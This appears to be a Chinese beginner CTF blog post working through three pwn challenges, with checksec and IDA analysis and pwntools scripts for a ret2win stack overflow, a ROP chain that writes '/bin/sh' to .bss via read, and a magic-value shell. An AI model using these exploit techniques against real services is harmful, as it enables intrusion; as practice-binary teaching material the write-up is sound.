PWN PWN PWN 3月赛题目复现!!!特别适合新手

目录

3月赛题的复现:

1.worst

1.查看保护

2.拖入ida进行分析

3.写exp

2.worst—pro

1.checksec pwn20

2.ida伪代码

3.exp

3.number

1.checksec

2.ida看伪代码

3.exp


3月赛题的复现:

一般做pwn题的步骤:

1. 先chicksec elf二进制文件

2. 拖入ida看伪代码,查看都有啥函数,看到底用那种方法做。

3. 写exp,边看边写exp

1.worst

1.查看保护

64位,开启了nx保护,NX保护:是否启用内存不可执行保护栈上数据不可执行

Partial RELRO:got的开头部分被设置为只读,其余部分仍可写

Full RELRO:got和plt都为只读,这种状态可以防止对这些结构的修改

2.拖入ida进行分析

从这里我们可以看出偏移为8,有read危险函数,可以造成栈溢出

然后咱们把函数表每个函数都看一下发现tip函数里面有:

后门函数

3.写exp

咱们还要查一下ret

ROPgadget --binary worst --only 'op|ret'

from pwn import*
context(arch='amd64',os='linux',log_level='debug')
p=process('./worst')
offest=8
tip=0x401156
ret=0x40101a
payload=cyclic(offest)+p64(ret)+p64(tip)  #通过栈溢出将返回地址覆盖到tip
p.sendline(payload)
p.interactive()

咱们再说一下为啥要加ret了

在ubuntu18以上版本的系统中,system函数有条指令要求rsp关于0x10字节对齐。加入ret使栈顶被迫下移8个字节,使之对齐16byte。

题目在这里

链接:百度网盘 请输入提取码 提取码:otfr

2.worst—pro

1.checksec pwn20

2.ida伪代码

典型的漏洞函数read,偏移量也是8,可以构造栈溢出

我们发现有system但是没有bin/sh。那么怎么办了。

栈溢出后我们再次调用一下read函数写入/bin/sh,这样的话,问题就解决了

3.exp

查一下rdi,rsi等寄存器的值,因为64位传参要用到这些寄存器

from pwn import*
context(arch='amd64',os='linux',log_level='debug')
p=process('./pwn20')   #为了好写我就改为pwn20了
elf=ELf('./pwn20')
read=elf.plt['read']
offest=8
tip=0x401156
rdi=0x401179
rsi=0x40117b
bss=elf.bss()  #因为bss段为未初始化的全局变量和静态变量,通常情况下是不能向bss段些东西的,但#在一些特殊情况下,比如攻击者利用栈溢出等手段修改bss段内容是可以的
payload=cyclic(offest)+p64(rdi)+p64(0x0)+p64(rsi)+p64(bss)+p64(read)+p64(rdi)+p64(bss)+p\64(tip)        #先是栈溢出,read有两个参数,rdi将0传给read,作为read的第一个参数,表示输入,rsi
#将bss作为read的第二个参数,就是输入地址,然后调用read函数进行输入,最后通过rdi将bss传给system
p.sendline(payload)
p.sendline(b"/bin/sh\x00")
p.interactive()

咱们接着说64位传参和32位传参

64传参是通过寄存器传参的,rdi,rsi,rdx,rcx,r8,r9,其余参数放在栈中,64位先传参再调用函数

32位传参是通过栈传参,32位是先调用函数后传参

题目在这里:

链接:百度网盘 请输入提取码 提取码:hbwm

3.number

1.checksec

保护全开逆天了

2.ida看伪代码

read函数,当读入buf=0x12345678的时候,会直接返回到system("/bin/sh")

这个不需要进行栈溢出。

有些人可能是这样的

单机305419896,并单击右键,有个hexadecimal,单机它,就会变成16进制

3.exp

from pwn import*
p=process('./qiandao')
p.sendline(p64(0x12345678))
p.interactive()

题目在这:

链接:百度网盘 请输入提取码 提取码:hwum

题目复现完毕,谢谢大家,记得一键三连,我才有动力更新

  • 11
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值